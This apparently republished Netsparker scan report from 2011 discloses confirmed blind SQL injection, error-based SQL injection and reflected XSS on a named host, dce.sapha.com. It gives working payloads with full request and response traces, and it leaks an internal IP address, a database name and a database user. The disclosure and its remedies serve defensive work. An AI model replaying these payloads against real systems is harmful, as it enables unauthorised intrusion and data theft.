Blind SQL Injection, Reflected XSS, GHDB, DORK, dce.sapha.com REPORT SUMMARY

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog

Loading

Netsparker - Scan Report Summary
TARGET URL
http://dce.sapha.com/engine.php?ac=2546
SCAN DATE
4/22/2011 4:40:51 PM
REPORT DATE
4/22/2011 8:27:32 PM
SCAN DURATION
00:01:36

Total Requests

726

Average Speed

7.52 req/sec.
10
identified
5
confirmed
3
critical
1
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
30 %
IMPORTANT
10 %
LOW
50 %
INFORMATION
10 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/ Apache Version Disclosure No
/engine.php ac GET Blind SQL Injection Yes
ac GET SQL Injection Yes
ac GET [Probable] SQL Injection No
ac GET Cross-site Scripting Yes
Cookie Not Marked As HttpOnly Yes
PHP Version Disclosure No
ac GET Database Error Message No
ac GET [Possible] Internal IP Address Leakage No
MySQL Database Identified Yes
Blind SQL Injection

Blind SQL Injection

1 TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed us to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate the all dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /engine.php

/engine.php CONFIRMED

http://dce.sapha.com/engine.php?ac=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+

Parameters

Parameter Type Value
ac GET -111' OR SLEEP(25)=0 LIMIT 1--

Request

GET /engine.php?ac=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: dce.sapha.com
Cookie: sapha_tst_2546=TRUE; sapha_tst_2546NS_NO=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:41:02 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Cache-Control: private
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 2406
Connection: close
Content-Type: application/x-javascript


var SCS_tid=(SCS_tid)?escape(SCS_tid):"",NS_do=new Array('conversionsuite.com','sapha.com'),NS_fe=new Array('exe','pdf','zip','wav','mp3','mov','mpg','avi','wmv','doc','xls','wpd','ppt','swf','mpeg','gif','jpg','tar','gz','wvx'),SCS_tamt=(SCS_tamt)?escape(SCS_tamt):"",NS_cid=(NS_cid)?escape(NS_cid):"",NS_tz="",NS_ext=0,NS_ev=0,NS_la="",NS_js="Undetermined",NS_pn=(NS_pn)?escape(NS_pn):"",NS_vpn=(NS_vpn)?escape(NS_vpn):"",NS_uuid=(NS_uuid)?escape(NS_uuid):"",NS_pt=(document.title)?escape(document.title):"",NS_ac="-111' OR SLEEP(25)=0 LIMIT 1-- ",NS_c=(NS_c)?NS_c:"yes",NS_rn=Math.round(Math.random()*(99999-1))+1,NS_ru=document.referrer,NS_vp=(typeof (document.location)!="undefined")?document.location:"",NS_dobj=new Date(),NS_sw=(screen.width)?screen.width:"",NS_sh=(screen.height)?screen.height:"",NS_sc=(screen.colorDepth)?screen.colorDepth:screen.pixelDepth,NS_prot="http://",NS_le="",NS_ld=NS_prot+"dce.sapha.com/logging.php?ac=-111' OR SLEEP(25)=0 LIMIT 1-- &NS_sw="+NS_sw+"&NS_sh="+NS_sh+"&NS_sc="+NS_sc,NS_bn=((navigator.appName.indexOf("Microsoft",0))?navigator.appName:"Explorer"),explorer=(NS_bn=="Explorer"),tbul="",NS_lt="",NS_evt="",NS_lnk="";if(self!=top){NS_sessionCookieRef=getCookieValue("NSsessCookRef");if(NS_ru!=NS_sessionCookieRef){writeSessionCookie("NSsessCookRef",NS_ru)}else{NS_ru=""}}function writeSessionCookie(B,A){if(testSessionCookie()){document.cookie=escape(B)+"="+escape(A)+"; path=/";return true}else{return false}}function getCookieValue(B){var A=new RegExp(escape(B)+"=([^;]+)");if(A.test(document.cookie+";")){A.exec(document.cookie+";");return unescape(RegExp.$1)}else{return false}}function testSessionCookie(){document.cookie="testSessionCookie=Enabled";if(getCookieValue("testSessionCookie")=="Enabled"){return true}else{return false}}NS_lo=new Object();if(NS_vp=="[object]"){NS_vp=""}if(!NS_vp){NS_vp=(typeof (document.URL)!="undefined")?document.URL:""}if(NS_dobj.getTimezoneOffset){NS_tz=NS_dobj.getTimezoneOffset()}if(navigator.systemLanguage){NS_la=navigator.systemLanguage}if(NS_ru){NS_ru.toLowerCase();if(NS_ru.indexOf("unknown")!=-1){NS_ru=""}NS_ru=escape(NS_ru)}jsv("1");jsv("1.1");jsv("1.2");jsv("1.3");jsv("1.4");jsv("1.5");jsv("1.6");jsv("2.0");var imgsrc=NS_ld+"&NS_c="+NS_c+"&NS_pn="+NS_pn+"&NS_vpn="+NS_vpn+"&NS_uuid="+NS_uuid+"&NS_pt="+NS_pt+"&NS_ru="+NS_ru+"&NS_rn="+NS_rn+"&NS_js="+NS_js+"&NS_vp="+escape(NS_vp)+"&NS_tz="+NS_tz+"&NS_la="+NS_la+"&NS_tid="+SCS_tid+"&NS_tamt="+SCS_tamt+"&NS_cid="+NS_cid;document.write('<img src="'+imgsrc+'" border="0" width="0" height="0" style="display:none">');NS_tid="";NS_tamt="";function iD(C,A){var D=0;C+="";C.toLowerCase();for(var B=0;B<A.length;B++){if(C.toLowerCase().search(A[B].toLowerCase())==-1){D++}}if(A.length==D){return 1}else{return 0}}function NS_LogEvent(A){var B=escape(A);var C=imgsrc.replace(/NS_vpn=.*?&/,"NS_vpn="+B+"&");img(C)}function tsc(B,A,D,C){this.tsc_ct=B;this.tsc_st=A;this.tsc_et=D;this.tsc_dt=C;this.tsc_gct=tsc_gct;this.tsc_gst=tsc_gst;this.tsc_get=tsc_get}function tsc_gct(){var A;A=new Date();return A.getTime()}function tsc_gst(){this.tsc_st=tsc_gct()}function tsc_get(){this.tsc_et=tsc_gct();this.tsc_dt=(this.tsc_et-this.tsc_st)/1000;return this.tsc_dt}var tsc_to=new tsc(0,0,0,0);tsc_to.tsc_gst();function img(A){di=new Image();di.src=A}function jsv(A){document.write('<script language="JavaScript'+A+'">NS_js="'+A+'"<\/script>')}NS_lo.f=new Array(document.links.length);if(window.addEventListener){window.addEventListener("load",NS_lc,false)}else{if(window.attachEvent){window.attachEvent("onload",NS_lc)}}function NS_lc(){for(var b=0;b<document.links.length;b++){var d=document.links[b];if(!d.onclick){eval("document.links[b].onclick=function(){return loge(document.links["+b+"])}")}else{if(!d.onmouseup){eval("document.links[b].onmouseup=function(){return loge(document.links["+b+"])}")}else{if(!d.onmousedown){eval("document.links[b].onmousedown=function(){return loge(document.links["+b+"])}")}}}}}function loge(A){NS_le=NS_ld+"&act=evt_click&link="+escape(A)+"&sec="+tsc_to.tsc_get();NS_ev=1;NS_ext=iD(A,NS_do);if(iD(A,NS_fe)==0){img(NS_le+"&linktype=file");if(!explorer){while(i<500000){i++}}}if(NS_ext){img(NS_le+"&linktype=exit");NS_ext=0;NS_le="";if(!explorer){while(i<500000){i++}}}setTimeout(function(){NS_le=""},2000)}if(explorer){tbul=window.onbeforeunload?window.onbeforeunload:0;window.onbeforeunload=function(){durr();if(tbul){tbul()}}}else{tbul=window.onunload?window.onunload:0;window.onunload=function(){durr();if(tbul){tbul()}}}function durr(){if(NS_ext){if(NS_le){NS_le=NS_le+"&linktype=exit"}if(!NS_le){NS_le=NS_ld+"&act=evt_pvdurr&sec="+tsc_to.tsc_get()}img(NS_le+"&sec="+tsc_to.tsc_get())}};eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('z o(6){I{2=4.b(\'<g j="h/f" r="y" i="\'+6+\'" />\')}F(e){2=4.b("g");2.7("j","h/f");2.7("r","y");2.7("i",6)}4.G.p(2)}z 5(){d 9=(3.s)?3.s:"",c=(3.t)?3.t:"",a=(3.q)?3.q:3.E;d k=\'v://u.A.n/B.C?D=-H\'Q T(S)=0 V 1--&X=0&9=\'+9+\'&c=\'+c+\'&a=\'+a;o(k)}x(8.l){8.l(\'J\',5,W)}U{8.R(\'L\',5)}x(4.K){d m=\'v://u.A.n/w/M-N.w\';2=4.b(\'<g j="h/f" i="\'+m+\'"/>\');4.P(\'O\')[0].p(2)}',60,60,'||element|screen|document|renderSaphaJS|mysrc|setAttribute|window|NS_sw|NS_sc|createElement|NS_sh|var||javascript|script|text|src|type|appath|addEventListener|excanvaspath|com|addSaphaJS|appendChild|colorDepth|language|width|height|apps|http|js|if|JavaScript|function|sapha|appshandler|php|ac|pixelDepth|catch|body|111|try|load|all|onload|excanvas|compressed|HEAD|getElementsByTagName|OR|attachEvent|25|SLEEP|else|LIMIT|false|pid'.split('|')))
SQL Injection

SQL Injection

1 TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /engine.php

/engine.php CONFIRMED

http://dce.sapha.com/engine.php?ac='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(C..

Parameters

Parameter Type Value
ac GET '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'

Extracted Data

5.0.45

Request

GET /engine.php?ac='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B' HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: dce.sapha.com
Cookie: sapha_tst_2546=TRUE; sapha_tst_2546NS_NO=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:41:01 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 360
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = ''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''<br><b>MySQL Error</b>: 1062 (Duplicate entry '_!@4dilemma:0' for key 1)<br>Session halted.
[Probable] SQL Injection

[Probable] SQL Injection

1 TOTAL
CRITICAL
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /engine.php

/engine.php

http://dce.sapha.com/engine.php?ac='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(..

Parameters

Parameter Type Value
ac GET '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

GET /engine.php?ac='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: dce.sapha.com
Cookie: sapha_tst_2546=TRUE; sapha_tst_2546NS_NO=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:41:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 363
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = ''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +''<br><b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 1)<br>Session halted.
Cross-site Scripting

Cross-site Scripting

1 TOTAL
IMPORTANT
CONFIRMED
1
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /engine.php

/engine.php CONFIRMED

http://dce.sapha.com/engine.php?ac='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0000E0)%3C/..

Parameters

Parameter Type Value
ac GET '"--></style></script><script>alert(0x0000E0)</script>

Request

GET /engine.php?ac='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0000E0)%3C/script%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: dce.sapha.com
Cookie: sapha_tst_2546=TRUE; sapha_tst_2546NS_NO=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:41:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 331
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = ''"--></style></script><script>netsparker(0x0000E0)</script>'<br><b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x0000E0)</script>'' at line 1)<br>Session halted.
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /engine.php

/engine.php CONFIRMED

http://dce.sapha.com/engine.php?ac=2546

Identified Cookie

sapha_tst_2546

Request

GET /engine.php?ac=2546 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: dce.sapha.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:40:55 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Cache-Control: private
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: sapha_tst_2546=TRUE; expires=Mon, 19-Apr-2021 21:40:55 GMT; path=/; domain=.sapha.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 2340
Connection: close
Content-Type: application/x-javascript


var SCS_tid=(SCS_tid)?escape(SCS_tid):"",NS_do=new Array('thinksubscription.com'),NS_fe=new Array('exe','pdf','zip','wav','mp3','mov','mpg','avi','wmv','doc','xls','wpd','ppt','swf','mpeg','gif','jpg','tar','gz'),SCS_tamt=(SCS_tamt)?escape(SCS_tamt):"",NS_cid=(NS_cid)?escape(NS_cid):"",NS_tz="",NS_ext=0,NS_ev=0,NS_la="",NS_js="Undetermined",NS_pn=(NS_pn)?escape(NS_pn):"",NS_vpn=(NS_vpn)?escape(NS_vpn):"",NS_uuid=(NS_uuid)?escape(NS_uuid):"",NS_pt=(document.title)?escape(document.title):"",NS_ac="2546",NS_c=(NS_c)?NS_c:"yes",NS_rn=Math.round(Math.random()*(99999-1))+1,NS_ru=document.referrer,NS_vp=(typeof (document.location)!="undefined")?document.location:"",NS_dobj=new Date(),NS_sw=(screen.width)?screen.width:"",NS_sh=(screen.height)?screen.height:"",NS_sc=(screen.colorDepth)?screen.colorDepth:screen.pixelDepth,NS_prot="http://",NS_le="",NS_ld=NS_prot+"dce.sapha.com/logging.php?ac=2546&NS_sw="+NS_sw+"&NS_sh="+NS_sh+"&NS_sc="+NS_sc,NS_bn=((navigator.appName.indexOf("Microsoft",0))?navigator.appName:"Explorer"),explorer=(NS_bn=="Explorer"),tbul="",NS_lt="",NS_evt="",NS_lnk="";if(self!=top){NS_sessionCookieRef=getCookieValue("NSsessCookRef");if(NS_ru!=NS_sessionCookieRef){writeSessionCookie("NSsessCookRef",NS_ru)}else{NS_ru=""}}function writeSessionCookie(B,A){if(testSessionCookie()){document.cookie=escape(B)+"="+escape(A)+"; path=/";return true}else{return false}}function getCookieValue(B){var A=new RegExp(escape(B)+"=([^;]+)");if(A.test(document.cookie+";")){A.exec(document.cookie+";");return unescape(RegExp.$1)}else{return false}}function testSessionCookie(){document.cookie="testSessionCookie=Enabled";if(getCookieValue("testSessionCookie")=="Enabled"){return true}else{return false}}NS_lo=new Object();if(NS_vp=="[object]"){NS_vp=""}if(!NS_vp){NS_vp=(typeof (document.URL)!="undefined")?document.URL:""}if(NS_dobj.getTimezoneOffset){NS_tz=NS_dobj.getTimezoneOffset()}if(navigator.systemLanguage){NS_la=navigator.systemLanguage}if(NS_ru){NS_ru.toLowerCase();if(NS_ru.indexOf("unknown")!=-1){NS_ru=""}NS_ru=escape(NS_ru)}jsv("1");jsv("1.1");jsv("1.2");jsv("1.3");jsv("1.4");jsv("1.5");jsv("1.6");jsv("2.0");var imgsrc=NS_ld+"&NS_c="+NS_c+"&NS_pn="+NS_pn+"&NS_vpn="+NS_vpn+"&NS_uuid="+NS_uuid+"&NS_pt="+NS_pt+"&NS_ru="+NS_ru+"&NS_rn="+NS_rn+"&NS_js="+NS_js+"&NS_vp="+escape(NS_vp)+"&NS_tz="+NS_tz+"&NS_la="+NS_la+"&NS_tid="+SCS_tid+"&NS_tamt="+SCS_tamt+"&NS_cid="+NS_cid;document.write('<img src="'+imgsrc+'" border="0" width="0" height="0" style="display:none">');NS_tid="";NS_tamt="";function iD(C,A){var D=0;C+="";C.toLowerCase();for(var B=0;B<A.length;B++){if(C.toLowerCase().search(A[B].toLowerCase())==-1){D++}}if(A.length==D){return 1}else{return 0}}function NS_LogEvent(A){var B=escape(A);var C=imgsrc.replace(/NS_vpn=.*?&/,"NS_vpn="+B+"&");img(C)}function tsc(B,A,D,C){this.tsc_ct=B;this.tsc_st=A;this.tsc_et=D;this.tsc_dt=C;this.tsc_gct=tsc_gct;this.tsc_gst=tsc_gst;this.tsc_get=tsc_get}function tsc_gct(){var A;A=new Date();return A.getTime()}function tsc_gst(){this.tsc_st=tsc_gct()}function tsc_get(){this.tsc_et=tsc_gct();this.tsc_dt=(this.tsc_et-this.tsc_st)/1000;return this.tsc_dt}var tsc_to=new tsc(0,0,0,0);tsc_to.tsc_gst();function img(A){di=new Image();di.src=A}function jsv(A){document.write('<script language="JavaScript'+A+'">NS_js="'+A+'"<\/script>')}NS_lo.f=new Array(document.links.length);if(window.addEventListener){window.addEventListener("load",NS_lc,false)}else{if(window.attachEvent){window.attachEvent("onload",NS_lc)}}function NS_lc(){for(var b=0;b<document.links.length;b++){var d=document.links[b];if(!d.onclick){eval("document.links[b].onclick=function(){return loge(document.links["+b+"])}")}else{if(!d.onmouseup){eval("document.links[b].onmouseup=function(){return loge(document.links["+b+"])}")}else{if(!d.onmousedown){eval("document.links[b].onmousedown=function(){return loge(document.links["+b+"])}")}}}}}function loge(A){NS_le=NS_ld+"&act=evt_click&link="+escape(A)+"&sec="+tsc_to.tsc_get();NS_ev=1;NS_ext=iD(A,NS_do);if(iD(A,NS_fe)==0){img(NS_le+"&linktype=file");if(!explorer){while(i<500000){i++}}}if(NS_ext){img(NS_le+"&linktype=exit");NS_ext=0;NS_le="";if(!explorer){while(i<500000){i++}}}setTimeout(function(){NS_le=""},2000)}if(explorer){tbul=window.onbeforeunload?window.onbeforeunload:0;window.onbeforeunload=function(){durr();if(tbul){tbul()}}}else{tbul=window.onunload?window.onunload:0;window.onunload=function(){durr();if(tbul){tbul()}}}function durr(){if(NS_ext){if(NS_le){NS_le=NS_le+"&linktype=exit"}if(!NS_le){NS_le=NS_ld+"&act=evt_pvdurr&sec="+tsc_to.tsc_get()}img(NS_le+"&sec="+tsc_to.tsc_get())}};eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('o l(7){B{1=3.4(\'<b a="i/f" t="w" h="\'+7+\'" />\')}E(e){1=3.4("b");1.6("a","i/f");1.6("t","w");1.6("h",7)}3.D.u(1)}o 8(){5 g=(2.p)?2.p:"",c=(2.k)?2.k:"",d=(2.j)?2.j:2.A;5 m=\'q://y.z.v/C.L?O=N&Q=0&g=\'+g+\'&c=\'+c+\'&d=\'+d;l(m)}x(9.n){9.n(\'S\',8,R)}F{9.P(\'M\',8)}x(3.H){5 s=\'q://y.z.v/r/G-I.r\';1=3.4(\'<b a="i/f" h="\'+s+\'"/>\');3.J(\'K\')[0].u(1)}',55,55,'|element|screen|document|createElement|var|setAttribute|mysrc|renderSaphaJS|window|type|script|NS_sh|NS_sc||javascript|NS_sw|src|text|colorDepth|height|addSaphaJS|appath|addEventListener|function|width|http|js|excanvaspath|language|appendChild|com|JavaScript|if|apps|sapha|pixelDepth|try|appshandler|body|catch|else|excanvas|all|compressed|getElementsByTagName|HEAD|php|onload|2546|ac|attachEvent|pid|false|load'.split('|')))
Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /

/

http://dce.sapha.com/

Extracted Version

2.2.3 (CentOS)

Request

GET / HTTP/1.1
Referer: http://dce.sapha.com/engine.php?ac=2546
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: dce.sapha.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:40:55 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Sat, 18 Oct 2008 22:29:29 GMT
ETag: "6d095f2-2f-9d78a440"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 67
Connection: close
Content-Type: text/html; charset=UTF-8


Sapha Data Collection Engine (DCE) Server V4.0
PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /engine.php

/engine.php

http://dce.sapha.com/engine.php?ac=2546

Extracted Version

PHP/5.1.6

Request

GET /engine.php?ac=2546 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: dce.sapha.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
